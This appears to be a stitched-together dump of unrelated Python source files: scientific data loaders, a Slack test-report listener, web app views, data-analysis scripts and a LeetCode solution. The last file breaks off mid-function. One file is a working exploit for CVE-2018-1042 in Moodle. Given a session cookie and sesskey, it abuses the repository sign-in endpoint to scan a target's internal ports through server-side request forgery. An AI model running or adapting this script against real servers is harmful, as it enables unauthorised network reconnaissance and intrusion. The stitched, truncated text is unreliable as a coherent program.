import pandas as pd
import numpy as np
from typing import Union, List, Optional, Iterable
import h5py

#######################
## Loading metadata  ##
#######################

def _load_samples_metadata(model):
    samples_metadata = pd.DataFrame(
        [
            [cell, group]
            for group, cell_list in model.samples.items()
            for cell in cell_list
        ],
        columns=["sample", "group"],
    )
    if "samples_metadata" in model.model:
        if len(list(model.model["samples_metadata"][model.groups[0]].keys())) > 0:
            _samples_metadata = pd.concat(
                [
                    pd.concat(
                        [
                            pd.Series(model.model["samples_metadata"][g][k])
                            for k in model.model["samples_metadata"][g].keys()
                        ],
                        axis=1,
                    )
                    for g in model.groups
                ],
                axis=0,
            )
            _samples_metadata.columns = list(
                model.model["samples_metadata"][model.groups[0]].keys()
            )

            if "group" in _samples_metadata.columns:
                del _samples_metadata["group"]
            if "sample" in _samples_metadata.columns:
                del _samples_metadata["sample"]

            samples_metadata = pd.concat(
                [
                    samples_metadata.reset_index(drop=True),
                    _samples_metadata.reset_index(drop=True),
                ],
                axis=1,
            )

            # Decode objects as UTF-8 strings
            for column in samples_metadata.columns:
                if samples_metadata[column].dtype == "object":
                    try:
                        samples_metadata[column] = [
                            i.decode() for i in samples_metadata[column].values
                        ]
                    except (UnicodeDecodeError, AttributeError):
                        pass

    samples_metadata = samples_metadata.set_index("sample")
    return samples_metadata

def _load_features_metadata(model):
    features_metadata = pd.DataFrame(
        [
            [feature, view]
            for view, feature_list in model.features.items()
            for feature in feature_list
        ],
        columns=["feature", "view"],
    )
    if "features_metadata" in model.model:
        if len(list(model.model["features_metadata"][model.views[0]].keys())) > 0:
            features_metadata_dict = {
                m: pd.concat(
                    [
                        pd.Series(model.model["features_metadata"][m][k])
                        for k in model.model["features_metadata"][m].keys()
                    ],
                    axis=1,
                )
                for m in model.views
            }

            for m in features_metadata_dict.keys():
                features_metadata_dict[m].columns = list(
                    model.model["features_metadata"][m].keys()
                )

            _features_metadata = pd.concat(features_metadata_dict, axis=0)

            if "view" in _features_metadata.columns:
                del _features_metadata["view"]
            if "feature" in _features_metadata.columns:
                del _features_metadata["feature"]

            features_metadata = pd.concat(
                [
                    features_metadata.reset_index(drop=True),
                    _features_metadata.reset_index(drop=True),
                ],
                axis=1,
            )

            # Decode objects as UTF-8 strings
            for column in features_metadata.columns:
                if features_metadata[column].dtype == "object":
                    try:
                        features_metadata[column] = [
                            i.decode() for i in features_metadata[column].values
                        ]
                    except (UnicodeDecodeError, AttributeError):
                        pass

    features_metadata = features_metadata.set_index("feature")
    return features_metadata

def _load_covariates(model):
    # Covariates names
    cov_names = None
    if "covariates" in model.model:
        cov_root = model.model["covariates"]
        if (type(cov_root) == h5py.Group) and ("covariates" in cov_root):
            cov_root = cov_root["covariates"]
        cov_names = np.array(cov_root)
        try:
            cov_names = [i.decode() for i in cov_names]
        except (UnicodeDecodeError, AttributeError):
            pass
    else:
        if "cov_samples" in model.model:
            cov_len = model.model["cov_samples"][model.groups[0]].shape[-1]
            cov_names = [f"Covariates{i+1}" for i in range(cov_len)]
        else:
            return None, None

    # Covariates values
    samples_covariates = pd.DataFrame(
        [
            [cell, group]
            for group, cell_list in model.samples.items()
            for cell in cell_list
        ],
        columns=["sample", "group"],
    )

    for attr in ["cov_samples", "cov_samples_transformed"]:
        if attr in model.model:
            if len(model.model[attr].keys()) > 0:  # groups are not empty
                attr_covariates = np.concatenate(
                    [np.array(model.model[attr][g]) for g in model.groups]
                )
                attr_covariates = pd.DataFrame(attr_covariates)
                if attr == "cov_samples":
                    attr_covariates.columns = cov_names
                elif attr == "cov_samples_transformed":
                    attr_covariates.columns = [f"{n}_transformed" for n in cov_names]
                else:
                    attr_covariates.columns = [
                        f"{attr}{i+1}" for i in range(attr_covariates.shape[-1])
                    ]
                samples_covariates = pd.concat(
                    [samples_covariates, attr_covariates], axis=1
                )

    # Covariates are None when there is only sample name and group name
    if len(samples_covariates.columns) == 2:
        return None, None

    samples_covariates = samples_covariates.set_index("sample")

    return cov_names, samples_covariates

#######################
#### Reading HDF5 #####
#######################

def _read_simple(data):
    if isinstance(data, h5py.Group):
        return {k: np.array(v) for k, v in data.items()}
    elif isinstance(data, h5py.Dataset):
        return np.array(data)
    else:
        raise ValueError("Attempting to read neither Group nor Dataset from HDF5 file")

#######################
## Utility functions ##
#######################

### Factors

def factor_indices_to_factors(x):
    if x is None:
        return None
    elif isinstance(x, int):
        x = [x]
    return [f"Factor{i+1}" for i in x]

def maybe_factor_indices_to_factors(x):
    if x is None:
        return None
    elif isinstance(x, int):
        return f"Factor{x+1}"
    elif isinstance(x, str):
        return x
    return [f"Factor{i+1}" if isinstance(i, int) else i for i in x]

def _is_iter(x):
    return isinstance(x, Iterable) and not isinstance(x, str)

def _make_iterable(x):
    if not _is_iter(x):  # e.g. int
        x = [x]
    return x

### R2 statistics

def calculate_r2(Z, W, Y):
    a = np.nansum((Y - Z.T.dot(W)) ** 2.0)
    b = np.nansum(Y ** 2)
    r2 = (1.0 - a / b) * 100
    return r2

def padjust_fdr(xs):
    """
    Adjust p-values using the BH procedure
    """
    from scipy.stats import rankdata

    ranked_p_values = rankdata(xs)
    fdr = xs * len(xs) / ranked_p_values
    fdr[fdr > 1] = 1
    return fdr

def padjust_fdr_2d(mx):
    """
    Adjust p-values in a matrix using the BH procedure
    """
    from scipy.stats import rankdata

    ranked_p_values = rankdata(mx).reshape((-1, mx.shape[1]))
    fdr = mx * mx.shape[0] * mx.shape[1] / ranked_p_values
    fdr[fdr > 1] = 1
    return fdr


from robot.libraries.BuiltIn import BuiltIn
from slackclient import SlackClient

import jenkinsapi
from jenkinsapi.jenkins import Jenkins

# Функционал отправляющий сообщения в слак от бота.
slack_client = SlackClient('YOUR TOKEN')

def send_message(msg):
    slack_client.api_call(
        "chat.postMessage",
        channel='bot-automated-tests',
        text=msg,
        username='bot_auto_test',
        icon_emoji=':robot_face:'
    )

# Функция формирующая текст с ошибками api, для отправления его в чат ботом.
def message_text_formation(index, msg, url_api):
    message_slack = f'{str(index)}. Адрес запроса: {url_api} \n Ошибка: {msg}'

    # Вызываем функцию, отправляющую сообщения в чат.
    send_message(message_slack)

# Класс для работы с тестами, тестовыми наборами.
class ApiListener(object):
    ROBOT_LISTENER_API_VERSION = 3

    # Инициализируем конструктор класса, с необходиммыми переменными, для всего тестового набора.
    def __init__(self, args):
        self.base_url = args
        self.index = 0
        self.msg_level = 'PASS'

    # Метод запускаюшщий прогон тест-сьюита по всем тестам api из папки test_api_robot.
    def start_suite(self, suite, result):
        suite.doc = 'АВТОМАТИЗАЦИЯ API-ТЕСТОВ НА ROBOT FRAMEWORK.'

        # Создаем переменную базового url, с которого будут отправляться запросы. Полученную из аргумента запуска.
        BuiltIn().set_suite_variable("${base_url}", f'https://{self.base_url}')

        # Information about tests only available via data at this point.
        for index, test in enumerate(suite.tests, start=0):
            # Получаем переменную базового url, с которого отправляются запросы.
            self.test_url = BuiltIn().get_variable_value('${base_url}')

    # Метод отлавливающий ошибки, в прохожении всех тестов. И формирующий текст для сообщения в слак, по ним.
    def log_message(self, msg):
        if msg.level == 'FAIL' and not msg.html:
            msg.html = True

            self.msg_level = msg.level

            # Получаем переменную с bad-запросом из ключевых слов robotframework, из-за которого не прошел тест.
            bad_request = BuiltIn().get_variable_value('${REQUEST_URL}')
            # Склеиваем ее с базовым url, чтобы получить полный путь api-запроса.
            full_url = self.test_url + bad_request

            # Добавляем индекс к каждому упавшему запросу.
            self.index = self.index + 1

            # Вызываем функцию, формирующую текст для слака.
            message_text_formation(self.index, msg.message, full_url)

    # Метод вызывающийся в конце всего тестового прогона. Если в тестах есть упавшие тесты, то в конце всего прогона
    # будет отправлена в слак, ссылка на allure-отчет.
    def close(self):
        if self.msg_level == 'FAIL':

            # Работаем с api Jenkins, получаем номер последней сборки по api-тестам.
            J = Jenkins("http://site.com:8080", "your_name", "your_passw")
            job = J.get_job("api_tests")
            build_last = job.get_last_build()
            build_last_str = str(build_last)
            build_last_str_replace = build_last_str.replace("api_tests #", "")
            build_last_int = int(build_last_str_replace)

            # Заполняем переменную с сообщением, для отправления ее в слак.
            self.url_allure = f"Ссылка на allure-отчет в Дженкинсе - http://site.com:8080/job/doorway_api_tests/{build_last_int}/allure/."
            #self.url_allure = "\n\n Ссылка на общий allure-отчет http://site.com:8080/job/doorway_api_tests/allure/. "

            # Вызываем функцию, отправляющую сообщения в чат.
            send_message(self.url_allure)


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# Script to exploit CVE-2018-1042 in order to do internal port scans.
#
# by Psycho (@UDPsycho)
#   Twitter: https://www.twitter.com/UDPsycho
#

import sys
import requests

if len(sys.argv) != 6:
    # "repo_id" & "sesskey" parameters are useless but necessary for the attack
    print ("\nUsage:   {} <url> <target_ip> MoodleSession=<value> repo_id=<value> sesskey=<value>".format(sys.argv[0]))
    print ("Example: {} https://example.com/repository/repository_ajax.php?action=signin 127.0.0.1 MoodleSession=XXXXX repo_id=X sesskey=XXXXX\n".format(sys.argv[0]))

else:

  # Required for color output
  RED   = "\033[1;91;40m"
  GREEN = "\033[1;92;40m"
  RESET = "\033[0m"

  # Parse args
  target_url    = sys.argv[1]
  target_ip     = sys.argv[2]
  moodle_cookie = sys.argv[3].split("=")[0]
  moodle_value  = sys.argv[3].split("=")[1]
  repo_id_param = sys.argv[4].split("=")[0]
  repo_id_value = sys.argv[4].split("=")[1]
  sesskey_param = sys.argv[5].split("=")[0]
  sesskey_value = sys.argv[5].split("=")[1]

  # Top ports according to nmap (https://nmap.org/book/port-scanning.html#most-popular-ports)
  top_ports = ("80","23","443","21","22","25","3389","110","445","139",
              "143","53","135","3306","8080","1723","111","995","993","5900",
              "631","161","137","123","138","1434","445","135","67","53",
              "139","500","68","520","1900","4500","514","49152","162","69")

  closed_port_error = "Connection refused"
  open_ports = ""

  # Cookies required to send the request
  cookies = { moodle_cookie : moodle_value }

  print ("\nScanning top ports, please wait...\n")

  for port in top_ports:

    target = target_ip + ":" + port

    try:

      # Data required to exploit the vulnerability
      data = {
        "file"        : target,
        repo_id_param : repo_id_value,
        sesskey_param : sesskey_value
      }

      response = requests.post(target_url, cookies=cookies, data=data, allow_redirects=False)

      if closed_port_error in response.text:
        print ("{}{}\tClosed{}".format(target, RED, RESET))
      else:
        open_ports += (port + " ")
        print ("{}{}\tOpen{}".format(target, GREEN, RESET))

    except requests.ConnectionError:
      open_ports += (port + " ")
      print ("{}{}\tOpen{}".format(target, GREEN, RESET))

  print ("\nPorts {}{}{}seems to be open at {}{}{}!\n"
    .format(GREEN, open_ports, RESET, GREEN, target_ip, RESET))


from pwn import u32, u64, p32, p64

def unpack(s):
    if 0 < len(s) <= 4:
        return u32(s.ljust(4, '\x00'))
    elif len(s) <= 8:
        return u64(s.ljust(8, '\x00'))

def pack(n):
    if 0 < n <= 0xffffffff:
        return p32(n)
    elif n <= 0xffffffffffffffff:
        return p64(n)


import numpy as np
import qutip
import scipy.sparse.coo as coo
import time
import sys
import qc
import tabulate

FILE_QC0 = 'table_qc0'
FILE_QCF = 'table_qcf'
PATH_TEX = '../doc/%s.tex'
PATH_CSV = '../doc/csv/%s.csv'

tabulate.LATEX_ESCAPE_RULES = {}

class QMemProfiler:
	def __init__(self):
		table_sizes = []
		self.profile_mem()

	def mem_qc0(self, N):
		qs = qc.QSimon({"bits":N})
		sizes = qs.sz
		#print('Memory QC0: {}'.format(sizes))
		return qs, sizes

	def mem_qcf(self, qs, config):
		st = qs.run(config)
		sizes = qs.sz
		#print('Memory QCf: {}'.format(sizes))
		return st, sizes

	def profile_mem(self):
		Nmin = 2
		Nmax = 10

		table_qc0 = []
		table_qcf = []
		headers_qc0 = ['n', 'N', 'log2_H', 'log2_phi1', 'log2_all_qc0', 'log2_approx_qc0']
		headers_qcf = ['n', 'N', 'log2_H', 'log2_U', 'log2_qstate', 'log2_all_qcf' ,'log2_approx_qcf']
		tex_headers_qc0 = [
			'$n$',
			'$N$',
			'$\log_2 S(H)$',
			'$\log_2 S(\ket{\phi_1})$',
			'$\log_2 S_T$',
			'$\log_2 S_T\'$'
		]
		tex_headers_qcf = [
			'$n$',
			'$N$',
			'$\log_2 S(H)$',
			'$\log_2 S(U)$',
			'$\log_2 S(\ket{\phi_3})$',
			'$\log_2 S_T$'
			,'$\log_2 S_T\'$'
		]

		for N in range(Nmin, Nmax+1):
			entry = {}
			row_qc0 = []
			row_qcf = []

			print("N = {}".format(N))
			qs, size_qc0 = self.mem_qc0(N)
			config = qs.random_config(N)
			st, size_qcf = self.mem_qcf(qs, config)
			# Mostrar H y phi1 en qc0
			# U y qstate en qcf
			entry['N']				= 2*N
			entry['n']				= N
			entry['H']				= size_qc0['H']
			entry['phi1']			= size_qc0['phi1']
			entry['all_qc0']		= size_qc0['all']
			entry['log2_H']			= np.log2(size_qc0['H'])
			entry['log2_phi1']		= np.log2(size_qc0['phi1'])
			entry['log2_all_qc0']	= np.log2(size_qc0['all'])
			entry['log2_approx_qc0'] = np.log2(2**(2*N+3) + 2**(2*N+2))
			# El estado phi1 puede ser machacado?
			entry['U']				= size_qcf['U']
			entry['qstate']			= size_qcf['qstate']
			entry['all_qcf']		= size_qcf['U'] + size_qcf['H'] + size_qcf['qstate']
			entry['log2_U']			= np.log2(size_qcf['U'])
			entry['log2_qstate']	= np.log2(size_qcf['qstate'])
			entry['log2_all_qcf'] = np.log2(
				size_qcf['U'] + size_qcf['H'] + size_qcf['qstate'])
			entry['log2_approx_qcf'] = np.log2(
#				2**(2*N+3) + 2**(2*N+2) +	#U
#				2**(2*N+3) +				#H
#				2**(2*N+2) + 2**(2*N+1)		#qstate
				2**(2*N+3) + 2**(2*N+2) +
				2**(2*N+3) +
				2**(2*N+2) + 2**(2*N+1)
			)

			for h in headers_qc0:
				row_qc0.append(entry[h])
			for h in headers_qcf:
				row_qcf.append(entry[h])

			table_qc0.append(row_qc0)
			table_qcf.append(row_qcf)

		self.save_tex(table_qc0, tex_headers_qc0, FILE_QC0)
		self.save_tex(table_qcf, tex_headers_qcf, FILE_QCF)

		self.save_csv(table_qc0, headers_qc0, FILE_QC0)
		self.save_csv(table_qcf, headers_qcf, FILE_QCF)

	def save_csv(self, t, h, fn):
		str_header = ','.join(h)
		arrt = np.asarray(t)

		np.savetxt(PATH_CSV % fn, arrt, header=str_header, delimiter=",",
			comments='')

	def save_tex(self, t, h, fn):
		float_fmt = ".2f"
		table_fmt = 'latex_booktabs'
		str_table = tabulate.tabulate(t, h, floatfmt=float_fmt,
			tablefmt=table_fmt)

		self.save_file(str_table, PATH_TEX % fn)

	def save_file(self, s, fn):
		f = open(fn, 'w')
		f.write(s)
		f.close()

QMemProfiler()


import json

from flask import Flask, jsonify, render_template, request

import predict

app = Flask(__name__)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/predict-next-words', methods=["POST"])
def predict_next_words():
    body = request.json['body']
    language = request.json['language']
    res = predict.predict_next_words(body, language)

    return jsonify({'nextWords': res})

@app.route('/predict-language', methods=["POST"])
def predict_language():
    body = request.json['body']
    res = predict.predict_language(body)

    return jsonify({'language': res})

if __name__ == '__main__':
    app.run()


from argparse import Namespace
from logging import info, debug

from external.config.metadata import CfgMetadata
from business.core.report import Report

class Metric:

    def __init__(self, metadata: CfgMetadata):
        self.jira = None
        self.metadata = metadata

    def set_adapters(self, adapters: dict) -> None:
        self.jira = adapters.get('jira')

    def get_cli(self) -> dict:
        return dict(
            name='metric',
            help='Calculate a team metrics',
            aliases='m',
            option=[
                dict(
                    name='begin',
                    help='Begin date of the calculation period (inclusive): <YYYY-MM-DD>',
                ),
                dict(
                    name='end',
                    help='End date of the calculation period (inclusive): <YYYY-MM-DD>',
                ),
            ],
            func=self._calculate,
        )

    def _calculate(self, args: Namespace) -> None:
        assert self.jira
        assert self.metadata

        period = dict(
            begin = args.begin,
            end = args.end,
        )
        report = Report(self.jira, self.metadata.get_general())

        info('Calculate team metrics for a period "{begin}" - "{end}"'.format(**period))

        for team in self.metadata.get_teams():
            print('{}:'.format(team.get('name')))

            metrics = report.get_metrics(team, period)
            for metric, value in sorted(metrics.items()):
                #* fractional value in hours required
                print('- {metric}: {value:0.3f}'.format(
                    metric=metric,
                    value=self.__convert_second_to_hour(value),
                ))

    def __convert_second_to_hour(self, seconds: int) -> float:
        return seconds / 3600.0


from __future__ import print_function
import ConfigParser, os
from sys import argv

from apiclient import discovery
import auth
import settings
from auth import Authorize

from apiclient import discovery
from apiclient.http import MediaFileUpload

#Command arguments to test functionality, should be passed via torrent in future
script, filename = argv

http = Authorize()

serviceDrive = discovery.build('drive', 'v2', http=http)

#Function for uploading filename set in argv when executed
def main(filename):
    FilePath = os.path.abspath(filename)
    body = {
            'title': filename
    }
    body['parents'] = [{'id' : settings.googledrivedir}]
    media = MediaFileUpload(FilePath, chunksize=settings.chunksize, resumable=True)
    response = serviceDrive.files().insert(body=body, media_body=media).execute()
    if settings.nonDefaultPermissions == True:
        fileID = response['id']
        setPermissions(fileID)
    print(response['alternateLink'])

def setPermissions(file_id):
    service = serviceDrive
    newPermissions = {
        'value': settings.permissionValue,
        'type': settings.permissionType,
        'role': settings.permissionRole
    }
    return service.permissions().insert(fileId=file_id,
        body=newPermissions).execute()

if __name__ == '__main__':
    main(filename)


# from distutils.core import setup
import os.path
from setuptools import setup

# The directory containing this file
HERE = os.path.abspath(os.path.dirname(__file__))

# The text of the README file
with open(os.path.join(HERE, "README.md"),encoding='utf-8') as fid:
    README = fid.read()

setup(
  name = 'cbastats',
  packages = ['cbastats'],
  version = 'v0.0.4',
  license='MIT',
  long_description=README,
  long_description_content_type="text/markdown",
  description = 'Python package to access CBA stats',
  author = 'Jian Jin',
  author_email = 'jjtt0926@gmail.com',
  url = 'https://github.com/JJ0131/Cbastats',
  download_url = 'https://github.com/JJ0131/Cbastats/archive/v0.0.4.tar.gz',
  keywords = ['CBA', 'Baseketball'],
  install_requires=[
          'pandas','tabulate'
      ],
  classifiers=[
    'Development Status :: 3 - Alpha',
    'Intended Audience :: Developers',
    'Topic :: Software Development :: Build Tools',
    'License :: OSI Approved :: MIT License',
    'Programming Language :: Python :: 3',
    'Programming Language :: Python :: 3.7'
  ],
)


from django.shortcuts import render, redirect, reverse, HttpResponse
from django.shortcuts import get_object_or_404
from django.contrib import messages

from products.models import Product
# Create your views here.

def view_bag(request):
    """ A simple view to render the bag page """

    return render(request, 'bag/bag.html')

def add_to_bag(request, item_id):
    """A view to add an item to the bag
    takes all information about the item
    and quantity into account """

    product = get_object_or_404(Product, pk=item_id)
    quantity = int(request.POST.get('quantity'))
    redirect_url = request.POST.get('redirect_url')
    bag = request.session.get('bag', {})

    if item_id in list(bag.keys()):
        bag[item_id] += quantity
    else:
        bag[item_id] = quantity
        messages.success(request, f'Added {product.name} to your bag')

    request.session['bag'] = bag
    return redirect(redirect_url)

def adjust_bag(request, item_id):
    """Adjust the quantity of the specified product to the specified amount"""

    quantity = int(request.POST.get('quantity'))
    bag = request.session.get('bag', {})

    if quantity > 0:
        bag[item_id] = quantity
        messages.success(request, 'Quantity updated')
    else:
        bag.pop(item_id)

    request.session['bag'] = bag
    return redirect(reverse('view_bag'))

def remove_from_bag(request, item_id):
    """Remove the item from the shopping bag"""

    bag = request.session.get('bag', {})
    bag.pop(item_id)
    messages.success(request, 'Item removed from your bag')

    request.session['bag'] = bag
    return HttpResponse(status=200)


import pandas as pd
import numpy as np
from enum import Enum
from datetime import time

class SleepValue(Enum):
    none = 0
    sleeping = 1
    restless = 2
    awake = 3

SLEEP_VALUES = {x.value:x.name for x in SleepValue}

STATS_NAME_BASIC = 'basicStats'
STATS_NAME_TIMING = 'timingStats'
STATS_NAME_BASIC_AND_TIMING = 'basicAndTimingStats'
STATS_NAME_INTERVALS = 'intervalsStats'
STATS_NAME_INTRADAY = 'intradayStats'

def generateStatsFrom(data, statsType, **kwargs):
    """
    Generic method for stats generation.
    :param data: sleep data. List of dataframes, one for each day
    :param statsType: name of the stat to be generated
    :return:
    """

    if statsType == STATS_NAME_BASIC:
        stats = generateBasicStats(data)
    elif statsType == STATS_NAME_TIMING:
        stats = generateTimingStats(data, **kwargs)
    elif statsType == STATS_NAME_BASIC_AND_TIMING:
        basicStats = generateBasicStats(data)
        timingStats = generateTimingStats(data, **kwargs)
        stats = pd.concat([basicStats, timingStats], axis=1)
    elif statsType == STATS_NAME_INTERVALS:
        stats = generateIntervalsStats(data, **kwargs)
    elif statsType == STATS_NAME_INTRADAY:
        stats = generateIntradayStats(data, **kwargs)
    else:
        raise Exception(statsType + ' Stat not implemented')
    return stats

#Each row is a day with basic stats like sleep values count, efficiency and total minutes
def generateBasicStats(filesData):
    #Create new df to store the stats
    basicStats = pd.DataFrame(columns=[1,2,3,'total_minutes','sleep_efficiency'])
    basicStats.index.rename('date', inplace=True)

    #For each file-data, extract the basic stats, and add them to the df
    for fileData in filesData:
        stats = fileData.groupby(['value'], as_index=False).size()
        stats['total_minutes'] = stats.sum()
        date = getSleepDate(fileData)
        basicStats.loc[date] = stats

    #Derive additional stats
    basicStats = basicStats.fillna(0).astype(int)
    basicStats['sleep_efficiency'] = (basicStats[SleepValue.sleeping.value]/basicStats['total_minutes'])*100
    basicStats['sleep_inefficiency'] = (basicStats['sleep_efficiency']-100).abs()
    basicStats['sleep_hours'] = (basicStats[SleepValue.sleeping.value]/60)
    basicStats['total_hours'] = basicStats['total_minutes']/60

    #Rename columns
    columns = SLEEP_VALUES
    columns['value'] = 'date'
    basicStats.rename(columns=columns, inplace=True)
    return basicStats

#Each row is a day with timing stats about like first minute asleep, interval avg and max length
def generateTimingStats(filesData, minSleepIntervalRequired=0):
    #Create new df to store the stats
    intervalsStats = pd.DataFrame(columns=['first_min_asleep',
                                           'to_bed_time',
                                           'wake_up_time',
                                           'sleep_interval_max_len',
                                           'sleep_interval_avg_len'])
    intervalsStats.index.rename('date', inplace=True)

    #For each file-data, extract the basic stats, and add them to the df
    for fileData in filesData:
        firstMinuteAsleep = getFirstMinuteAsleep(fileData, minSleepIntervalRequired)
        stats = getSleepIntervalsStats(fileData, minSleepIntervalRequired)
        date = getSleepDate(fileData)
        intervalsStats.loc[date] = [firstMinuteAsleep, fileData.iloc[0]['datetime'].time(),
                                    fileData.iloc[-1]['datetime'].time(),
                                    stats.len.max(), stats.len.mean()]

    return intervalsStats

#Each row is a day with length of all its sleep intervals
def generateIntervalsStats(filesData, minSleepIntervalRequired=0):
    #Create new df to store the stats
    intervalsStats = pd.DataFrame(columns=np.arange(20))

    #For each file-data, extract the basic stats, and add them to the df
    for fileData in filesData:
        stats = getSleepIntervalsStats(fileData, minSleepIntervalRequired)
        date = getSleepDate(fileData)
        intervalsStats.loc[date] = stats.len

    return intervalsStats

#Each row is a complete intraday value array for the corresponding day
def generateIntradayStats(filesData, useTime=True):
    #Create new df to store the stats
    if useTime:
        minutes = pd.date_range('00:00', '23:59', freq='1min')
        intradayStats = pd.DataFrame(columns=[x.time().strftime("%H:%M")
                                               for x in minutes])
    else:
        intradayStats = pd.DataFrame(columns=np.arange(600))
    intradayStats.index.rename('date', inplace=True)

    #For each file-data, extract the basic stats, and add them to the df
    for fileData in filesData:
        data = fileData.copy(deep=True)
        date = getSleepDate(data)
        data['time'] = [x.strftime("%H:%M") for x in data['datetime'].dt.time]
        data.set_index(['time'], inplace=True)
        intradayStats.loc[date] = data['value']

    return intradayStats

#----------------------------#
#    SECOND LEVEL METHODS    #
#----------------------------#

def normalizedIntradayCountStats(intradayStats, limitCount=5):
    # For each minute, number of days for which we have a valid measure (record)
    notNullCount = intradayStats.count()
    # Ignore minutes where we have low level of records
    notNullCount[notNullCount < limitCount] = None
    # Count how many times each value appears for each minute
    valueCount = intradayStats.apply(pd.value_counts)
    # Normalize each minute by records count
    res = valueCount.div(notNullCount, axis=1)
    return res

def centerIntradayCountStats(intradayCountStats, timeToCenterOn="12:00"):
    columns = list(intradayCountStats.columns.values)
    k = columns.index(timeToCenterOn)
    columns = columns[k:] + columns[:k]
    return intradayCountStats[columns]

def getSleepIntervalsStats(data, minSleepIntervalRequired=0):
    sleepIntervals = getSleepIntervals(data, minSleepIntervalRequired)

    #Create new df to store the stats
    stats = pd.DataFrame(columns=['minute_start','minute_end','time_start','time_end','len'])

    #For each interval get start, end, len stats, and add it to the df
    for i, interval in enumerate(sleepIntervals):
        #Substract one because interval indicated the minute, and starts from 1
        timeStart = data.iloc[interval[0]-1]['datetime']
        timeEnd = data.iloc[interval[1]-1]['datetime']
        stats.loc[i] = [interval[0], interval[1], timeStart, timeEnd, (interval[1] - interval[0])+1]

    return stats

#Return the date associated with the provides sleep data.
#It should be the date associated with the first recorded minute, but if this is after
#midnight and before noon, we want to consider the previous day.
def getSleepDate(data):
    firstDatetime = data.ix[0]['datetime']
    if time(12,00) <= firstDatetime.time()<=time(23,59):
        return firstDatetime.date()
    else:
        return (firstDatetime - pd.DateOffset(1)).date()

def getFirstMinuteAsleep(data, minSleepIntervalRequired=0):
    firstAsleep = None

    values = data['value']
    indxs = values[values==SleepValue.sleeping.value].index
    for indx in indxs:
        if (len(values[indx:indx+minSleepIntervalRequired]) >= minSleepIntervalRequired and
                (values[indx:indx+minSleepIntervalRequired]==SleepValue.sleeping.value).all()):
            #Indexing starts from 0, minutes start from 1
            firstAsleep = indx+1
            break

    return firstAsleep

def getSleepIntervals(data, minSleepIntervalRequired=0):
    values = data['value']
    splits = np.append(np.where(np.diff(values)!=0)[0], [len(values)-1])+1

    prev = 0
    intervals = []
    for split in splits:
        if values[prev] == SleepValue.sleeping.value and (split-prev)>=minSleepIntervalRequired:
            intervals.append((prev+1, split))
        prev = split

    return intervals

def getMaxValues(basicStats, n, statName):
    return basicStats.nlargest(n, statName)[statName]


from collections import defaultdict
from typing import List

class Solution:
    def numBusesToDestination(self, routes: List[List[int]], S: int, T: int) -> int:
        if S == T:
            return 0
        n = len(routes)
        bus_stop_sets = []

        t = {}
        start_pos = set()
        end_pos = set()
        for i, route in enumerate(routes):
            but_stop_set = set(route)
            bus_stop_sets.append(but_stop_set)
            if S in but_stop_set:
                start_pos.add(i)
                t[i] = 1
            if T in but_stop_set:
                end_pos.add(i)

        g = defaultdict(set)
        for i in range(n - 1):
            for j in range(1, n):
                if bus_stop_sets[i] & bus_stop_sets[j]:
                    g[i].add(j)
                    g[j].add(i)

        if start_pos & end_pos:
            return 1

        depth = 1
        q = start_pos
        while q:
            nq = set()
            for e in q:
                if e in end_pos:
                    return depth
                for next in g[e]:
                    if next in t:
                        continue
                    nq.add(next)
                    t[next] = depth + 1

            depth += 1
            q = nq
        return -1

s = Solution()
assert s.numBusesToDestination(
    [[25, 33], [3, 5, 13, 22, 23, 29, 37, 45, 49], [15, 16, 41, 47], [5, 11, 17, 23, 33], [10, 11, 12, 29, 30, 39, 45],
     [2, 5, 23, 24, 33], [1, 2, 9, 19, 20, 21, 23, 32, 34, 44], [7, 18, 23, 24], [1, 2, 7, 27, 36, 44], [7, 14, 33]], 7,
    47)


import numpy as np
import matplotlib.pyplot as plt
from sklearn.ensemble import BaggingClassifier
from sklearn.tree import DecisionTreeClassifier
from sklearn.model_selection import train_test_split
from sklearn.metrics import classification_report

dataMat = np.random.multivariate_normal([1, 2], [[1, 0], [0, 10]], 1000)
labelMat = np.zeros(1000)
labelMat[:500] = 1
plt.scatter(dataMat[:, 0], dataMat[:, 1], s=15)

def plot_decision_regions(X, y, classifier, resolution=0.02):
    colors = ('lightgreen', 'cyan', 'gray', 'r', 'b')
    markers = ('s', 'x', 'o', '^', 'v')

    x1_min, x1_max = np.min(X[:, 0]) - 1, np.max(X[:, 0]) + 1
    x2_min, x2_max = np.min(X[:, 1]) - 1, np.max(X[:, 1]) + 1
    XX, YY = np.meshgrid(np.arange(x1_min, x1_max, resolution), np.arange(x2_min, x2_max, resolution))
    Z = classifier.predict(np.array([XX.ravel(), YY.ravel()]).T)
    Z = Z.reshape(XX.shape)
    plt.contourf(XX, YY, Z, alpha=.4)
    plt.xlim((XX.min(), XX.max()))
    plt.ylim((YY.min(), YY.max()))

    # plot class samples
    for idx, l in enumerate(np.unique(y)):
        plt.scatter(X[y == l, 0], X[y == l, 1], alpha=0.8, marker=markers[idx], label=l)

    plt.savefig('bagging.png')

baggingClassifier = BaggingClassifier()

X_train, X_test, y_train, y_test = train_test_split(dataMat, labelMat)

baggingClassifier.fit(X_train, y_train)
y_test_pred = baggingClassifier.predict(X_test)
plot_decision_regions(X_test, y_test, baggingClassifier)

print(classification_report(y_test, y_test_pred))


import asyncio
import atexit
import json
import random
import re
import secrets
import time
from datetime import datetime
from typing import List

import nest_asyncio
import uvicorn
import websockets
from azure.iot.device.aio import IoTHubDeviceClient
from fastapi import (
    Depends,
    FastAPI,
    HTTPException,
    Request,
    Response,
    WebSocket,
    status,
)
from fastapi.middleware.cors import CORSMiddleware
from fastapi.security import HTTPBasic, HTTPBasicCredentials
from sqlalchemy.orm import Session
from sqlalchemy.sql.functions import user

from api import crud, models
from database import schemas
from database.database import SessionLocal, engine
from helper import get_dispense_duration, get_pump_id, running_on_raspberrypi
from services import barrels as barrels_service
from services import iotdevices
from services import pump as pump_service
from services import rfid, senddispenserinfo

nest_asyncio.apply()

# async def handler(websocket, path):
#     while True:
#         id = random.randint(1, 2)
#         name = "John Doe" if id == 1 else "Fred"
#         data = [{"id": id, "name": name}]
#         await asyncio.sleep(30)
#         await websocket.send(json.dumps(data))

# start_server = websockets.serve(handler, "127.0.0.1", 8888)
# asyncio.get_event_loop().run_until_complete(start_server)

models.Base.metadata.create_all(bind=engine)
app = FastAPI()
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],
    allow_credentials=True,
    allow_methods=["*"],
    allow_headers=["*"],
)

def cleanup():
    print(f"[{datetime.utcnow()}] Process exit.")
    if running_on_raspberrypi():
